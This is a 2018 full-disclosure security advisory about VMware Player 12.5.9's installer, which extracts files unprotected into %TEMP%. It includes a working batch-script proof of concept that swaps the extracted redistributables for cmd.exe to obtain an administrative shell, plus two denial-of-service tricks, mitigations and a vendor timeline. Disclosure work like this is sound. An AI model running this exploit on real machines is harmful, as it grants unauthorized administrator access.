Date: Thu, 2 Aug 2018 16:06:39 +0200
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <bugtraq@...urityfocus.com>
Cc: fulldisclosure@...lists.org
Subject: [FD] Executable installers are vulnerable^WEVIL (case 55):
	escalation of privilege with VMware Player 12.5.9

Hi @ll,

the executable installer of VMware Player 12.5.9, published in
January 2018, available from
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,
is vulnerable.

JFTR: VMware Player 12.5.9 is the last version which runs on
      32-bit Windows, and the last to support older CPUs.


Although running with administrative privileges (its embedded
application manifest specifies "requireAdministrator"),
VMware-player-12.5.9-7535481.exe extracts files UNPROTECTED
into subdirectories of the user's %TEMP% directory for later
execution.
An UNPRIVILEGED process/user running under the same user
account can tamper with these unprotected files between their
creation and their use, resulting in escalation of privilege.


For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/27.html> and
<https://capec.mitre.org/data/definitions/29.html>


Demonstrations/proof of concepts:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The POCs work on standard installations of Windows, where the
user account created during Windows Setup is used.

This precondition is typically met: according to Microsoft's
own security intelligence reports, about 1/2 to 3/4 of the
about 600 million Windows installations which send telemetry
data have only ONE active user account.
See <https://www.microsoft.com/security/sir>


A) "escalation of privilege":
-----------------------------

1. create the following text file in an arbitrary directory:

   --- vmware12.cmd ---
   :LOOP1
   @If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" Goto :LOOP1

   Copy NUL: "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\VMwarePlayer.msi"

   :LOOP2
   @If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" Goto :LOOP2

   Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe"

   :LOOP3
   Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe"
   If ERRORLEVEL 1 Goto :LOOP3
   --- EOF ---

2. fetch the executable installer VMware-player-12.5.9-7535481.exe;

3. start the batch script created in step 1, then run the executable
   installer: notice the error message from the Windows Installer,
   and the start of the command processor with administrative rights!


B) "denial of service":
-----------------------

1. add the NTFS "access control list entry" (D;OIIO;WP;;;WD) meaning
   "deny execution of files in this directory for everyone, inheritable
   to files in all subdirectories" to the user's %TEMP% directory;

2. fetch the executable installer VMware-player-12.5.9-7535481.exe
   and run it: admire the MISLEADING wrong error message
   "The installer could not load a required DLL"!


C) "denial of service":
-----------------------

1. create a(n empty) file
   %TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup

2. create the directory C:\VMwareTemp and the (empty) file
   C:\VMwareTemp\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup

3. fetch the executable installer VMware-player-12.5.9-7535481.exe
   and run it: admire the MISLEADING wrong error message
   "Not enough space"!


Mitigations:
~~~~~~~~~~~~

1. DON'T use executable installers; stay far away from such
   eternally vulnerable crap!

2. NEVER run executable installers from UNSAFE directories like
   "%USERPROFILE%\Downloads\" or "%TEMP%\"
   DISABLE execution of files (as shown above) in %USERPROFILE%!

3. Practice STRICT privilege separation: use a your privileged
   "Administrator" account (especially the account created during
   Windows setup) ONLY for administrative tasks, and COMPLETELY
   separate unprivileged user accounts, with elevation requests
   DISABLED. for your daily/regular work.


stay tuned
Stefan Kanthak


PS: also see <http://seclists.org/bugtraq/2018/Aug/0>


Timeline:
~~~~~~~~~

2018-06-03    vulnerability report(s) sent to vendor

2018-06-13    vendor acknowledged receipt:
              "We will look into this and provide feedback in due course."

2018-06-14    vendor replies:
              "It is my understanding that Workstation Player 12.x has
               since reached end of general support (in February of 2018)
               as per our Lifecycle Product Matrix
                <https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>."

2018-08-02    report published

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